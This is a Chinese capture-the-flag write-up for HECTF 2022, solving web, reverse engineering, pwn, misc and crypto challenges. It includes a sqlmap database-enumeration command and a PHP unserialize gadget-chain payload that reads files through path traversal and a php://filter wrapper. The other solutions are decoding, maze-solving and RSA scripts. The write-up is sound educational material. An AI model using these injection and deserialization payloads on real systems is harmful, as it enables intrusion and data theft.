HECTF 2022 WriteUp

警告
本文最后更新于 2023-02-01,文中内容可能已过时。

WEB

迷路的小狮

扫描目录找到找到/.htacess目录提示访问之后,看路由去1目录提示hebnu,之后让用post方式,返回后是乱码可以用谷歌插件

img

之后改referer头

img

再改xff

img

img

擎天注

python3 sqlmap.py -u http://url/?id=1 –dbs -batch

img

flag在ctf库下的3eDf4f07efC9ee16表下flag

img

easy_unserialize

poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

class A{
    public $file;

}

class B{
    public $str;
    public $huang;

}

class C{
    public $eee;
    public $aaa;
    public $ccc;

}

class D{
    public $ddd;
    public $ext;



}

$gagaga  = new A();
        $gagaga->file=new B();
        $gagaga->file->str =new C();
        $gagaga->file-> str -> eee = new B();
        $gagaga->file-> str -> eee -> huang = new C();
        $gagaga->file-> str -> eee -> huang ->ccc = new D();
        $gagaga->file-> str -> eee -> huang ->ccc ->ddd ="SplFileObject";
        $gagaga->file-> str -> eee -> huang ->ccc ->ext ="php://filter/read=convert.base64-encode/resource=../../../ffflllllaaaaaaggggg.txt";

        echo (serialize($gagaga));

分析:

unserialize会调用wakeup ,wakeup里有isset,会调用B.__isset会执行echo,调用C.toString会调用flag(),flag()方法不存在会调用B.__call,retrun str属性 属性不存在调用C.__get(),function()类当做方法使用会调用__invoke(),invoke里边 是echo new $a($b)的形式 ,可以触发反序列化原生类

img

用上边的查目录 路径应该是../../../f*

然后出来ffffffllllllag.txt用SplFileObject+伪协议读取

RE

apk

其实当时打开这个文件是在找入口点,然后看到了flag

img

包上HECTF{}即可

贝斯

img

字符串中可以看到base32的码表以及加密函数

img

按照逻辑

将P0w3r中的值 取反后输出,解base32

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#include<stdio.h>

        int main(){
        unsigned char P0w3r[] =
        {
        0xB5, 0xBD, 0xBC, 0xAA, 0xB8, 0xA9, 0xBC, 0xB8, 0xAF, 0xB1,
        0xBA, 0xAA, 0xB8, 0xCA, 0xB3, 0xAC, 0xB0, 0xB2, 0xA5, 0xAA,
        0xCD, 0xC9, 0xB4, 0xAB, 0xB0, 0xAD, 0xAE, 0xA7, 0xBA, 0xCB,
        0xA5, 0xAD, 0xB1, 0xA5, 0xBD, 0xB8, 0xAC, 0xCA, 0xBB, 0xAA,
        0xB8, 0xB1, 0xA5, 0xBA, 0xB0, 0xCB, 0xAB, 0xB5, 0xB8, 0xB1,
        0xAB, 0xBC, 0xB2, 0xA9, 0xA5, 0xAE, 0xB8, 0xB1, 0xC9, 0xAE
        };
        int i;
        for(i=0;i<strlen(P0w3r);i++){
        printf("%c",~P0w3r[i]);
        }
        }

img

base32解密

img

HelloIos

img

只是个异或0x1f后+1

1
2
3
flag2 = "X[]LZeX{ttqAwqmc"
        for i,v in enumerate(flag2):
        print(chr((ord(v)^0x1f)+1),end='')

author’sB0x

主要逻辑在EzEncryptText

%256 经典rc4算法

从Cry提取数组

img

密钥Key

img

跑脚本解

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
def rc4_main(key = "init_key", plain = "init_message"): #主函数
    s_box = rc4_init_sbox(key)
    crypt = rc4_excrypt(plain, s_box)
    return crypt
    
def rc4_init_sbox(key):         #初始化sbox
    s_box = list(range(256)) 
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    return s_box
    
def rc4_excrypt(plain, box):    #rc4解密
    res = []
    i = j = 0
    for s in plain:
        if s <= 0:
            s = s + 256
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(s ^ k))
    cipher = "".join(res)
    print("解密后的字符串是:   %s" %cipher)
    return  cipher

if __name__ == '__main__':
    print("此脚本仅用于对于数组的RC4解密\n")
    # 这里输入数组
    data = [ 0xC3, 0xF5, 0xE5, 0xE2, 0xEC, 0x17, 0xE5, 0x2A, 0xCA, 0x03, 
  0xB6, 0xFD, 0xC1, 0xBC, 0x70, 0x44, 0x10, 0xCD, 0xA6, 0x13, 
  0x0B, 0x9A, 0x73, 0x06, 0x0E, 0x4D, 0xDE, 0x95, 0x12, 0x9C, 
  0xD9, 0x46]
    key = "thisiskey"
    rc4_main(key, data)

run

先查壳,发现upx壳

img

准备upx-d脱壳可是没脱掉,应该是被魔改了,直接上脱壳机

img

查看主要加密函数

img

分析可得,这是个888的迷宫,+1 -1为左右移动,+8 -8为上下移动,+64 -64为前后移动

输入u会执行init函数初始化地图,所以输入31个u,定好断点,动调获取地图

img

获得地图,编写exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int check_s[200];
int m[10][8][8] ={
        {0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},
        {1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},
        {1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},
        {1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},
        {1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},
        {1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,0,1},
        {1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1},
        {1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0}
};
int dx[]={0,0,1,-1,0,0};
int dy[]={0,0,0,0,1,-1};
int dz[]={1,-1,0,0,0,0};
int dis[10][10][10];
char ccc[]={'u','n','s','w','d','a'}; 
char flag[900];
int len;
void dfs(int x,int y, int z,int k){
        if(x==7&&y==7&&z==7){
                for(int i=0;i<len;i++)
                        cout<<flag[i];
                cout<<"\n";
        }
        dis[z][x][y]=k;
        for(int i=0;i<6;i++){
                int tx=x+dx[i];
                int ty=y+dy[i];
                int tz=z+dz[i];
                if(tx<0||ty<0||tz<0||tx>7||ty>7||tz>7) continue;
                if(m[tz][tx][ty]||dis[tz][tx][ty]<=k+1) continue;
                flag[len++]=ccc[i];
                dfs(tx,ty,tz,k+1);
                len--;
        }
}
int main(){
        memset(dis,10,sizeof(dis));
        dfs(0,0,0,0);
}
//ssddssuuwwddndduuussdussasauudd

PWN

真.签到

整数溢出

img

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#include<stdio.h>

int main(){
        int v4;
        unsigned int v1;
        for (v1=0;v1<800;v1++)
        {
                v4 = v1;
                if ( (char)v4 < -125 && v4 > 255 )
                printf("%d\n",v4);
        }
        
}

不想算,爆破一下

img

输哪个都行,然后发现没有flag

在.flag里

img

MISC

咦~小鲨鱼来喽

把http流导出来,看到最后一个发现flag

img

舞者的秘密

不知道压缩包密码,先爆破一下一般都是4-8位出数字

img

gif一帧一帧查看

img

HECTF{LuckForYou}

你把我flag藏哪去了?

分为两段

Docx我开了始终显示隐藏文字,所以直接就看到了

img

img

解base64得到一堆英文字符

另外一半是0宽 拼起来后进行词频统计

img

img

flag{kpomijnhuybrvdxezswq}

来捉迷藏啊

rgb0段有明显lsb隐写特征

img

导出数据 进行xor爆破

发现异或0x33的时候,为PK头

img

导出后解压zip 打开doc

img

文件尾有白色字符 为flag

没大没小的鼓励

搜索 当队友需要鼓励的话,我会笑着对他说:

发现拼音wocenimenma的长度为11,正好符合提示的11个?穷举所有大小写组合爆破,得到密码

img

提示74748183键盘密码sstv,用sstv解,得到base64的字符串

img

base64解密得到b8d55688410af102549de756eb3da854

somd5解密得到litangdj

HECTF{litangdj}

我的手要不行辣

压缩包解压得到png,补上png头四位

img

ocr识别字符后16进制保存成压缩包

爆破密码

img

千千秀字音符解密

img

2022HECTF调查问卷

填写问卷得到flag

CRYPTO

流动的音符

音符解密

img

第一个加3为H,第二个+4为E,第二个+4为E

1
2
3
flag1 = [69,65,62,78,63,115,58,87,90,103,84,100,80,89,98,77,83,97,89,103]
for i,v in enumerate(flag1):
  print(chr(i+v+3),end='')

Matrix

打开附件可以看到flag

img

Ezrsa

p = libnum.gcd(p_,n)

q = libnum.gcd(q_,n)

然后e phi_n不互素

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import libnum
import gmpy2
from Crypto.Util.number import *

p_= 10660749010264526666955869622200514149424664070021154725214604278423033834800955315638637946982741577976025615843487738805576629855459529381681679497064453109727962183277768658053394103348827822686515016677449953958986089293779870089604784750116267441026319440135025236091029928565442799040007751858012409498271852333017388486644053877238274838173771344350870565886676055860728949042361028753924290647753862707042472944714140635484722345522648010064713004854479094986010632316750770118044301903260988074471243247031854872785324506292730778884664223412372663828159205320038546293395502275887356885181013870536857351801
q_= 24900409366873586425973971191854411152048453357438215578406168704445779543895031579176888535442469919297663892450230816720758414920791049333275007446412352293152157437672026001378469357187698312455020558413101033543700131403373834030395855212901673914686297701313223697181049265286011127188695284002470629178098454764536315245968458622929902214839704674718996340182311301099900271312644919770585429288043854743210617868761990329037081770477261306489047429460937057125193231432195877922731165870197358946683698077175950756482605399815830687563398277515452842563143685190688865084064679712177247354049377034394880941369
c= 946358882688806235743551077996671406469185038565566907261383734984318844703303437873183869084536703835433988817350857866089668970925835657856975155167500190428922521871327955274363186305180350899397478897928581580727458938934640786146518171503388507311655160765881370401217708135845031083189007308497775864484758699096082815479602777639307812516934937183952478316508418895341680335172973583094238147073379957772209947376051520041093030641369536800448737539973770258342422560893630082723217759837690008955748444973711508371077927468399703456466637348191192859278206925769696645636969358967735037470196395844215361527039288120664704552775460536654859848091685928057224735031528303041212702445718384890182474053295656578327780048497422707815820736647212902522526653039676698263673166412650104420869762547385554961873764933774143297622712766521201037469301912471740996998228799841957283759679784569638149555093498363791420486340
n= 1677924010415009671349677258549532467848510897335579570922114838282842960143799964694977371357046837674443739542407516581076865550606801686170400793463690366665534118961173768008603133641864003317727610676872685077700753537755254540591236871020140458419596610210236431401477173114522177145982007059709616618279936170223104755776796458682957656555154039384483954754660803554302451221585280396378564648495919069459351016010016636012245082009946238467068412198769348889950331295680906811430325690102055808865038151762131291269197341984605959088829226733422023970618165958725486675321766767430347929319621215891165857544847088373700410007500868721335483070938971597851859953792409442485301373327127595552457801719192824050415833073999094005750868115932130442747899994421453654008731830580286370350900523295205445599466666709544075950517531382971246869745425091317996973135364990272852701046046315136273893166361180330563013617843

e = 114
p = libnum.gcd(p_,n)
q = libnum.gcd(q_,n)

t = n//p//q

phi_n=(p-1)*(q-1)*(t-1)

e = 114
r = t

n=p*q*r
phi=(p-1)*(q-1)*(r-1)
t=gmpy2.gcd(e,phi)
d=gmpy2.invert(e//t,phi)
m=pow(c,d,n)
msg=gmpy2.iroot(m,t)
if msg[1]:
    print(long_to_bytes(msg[0]))
0%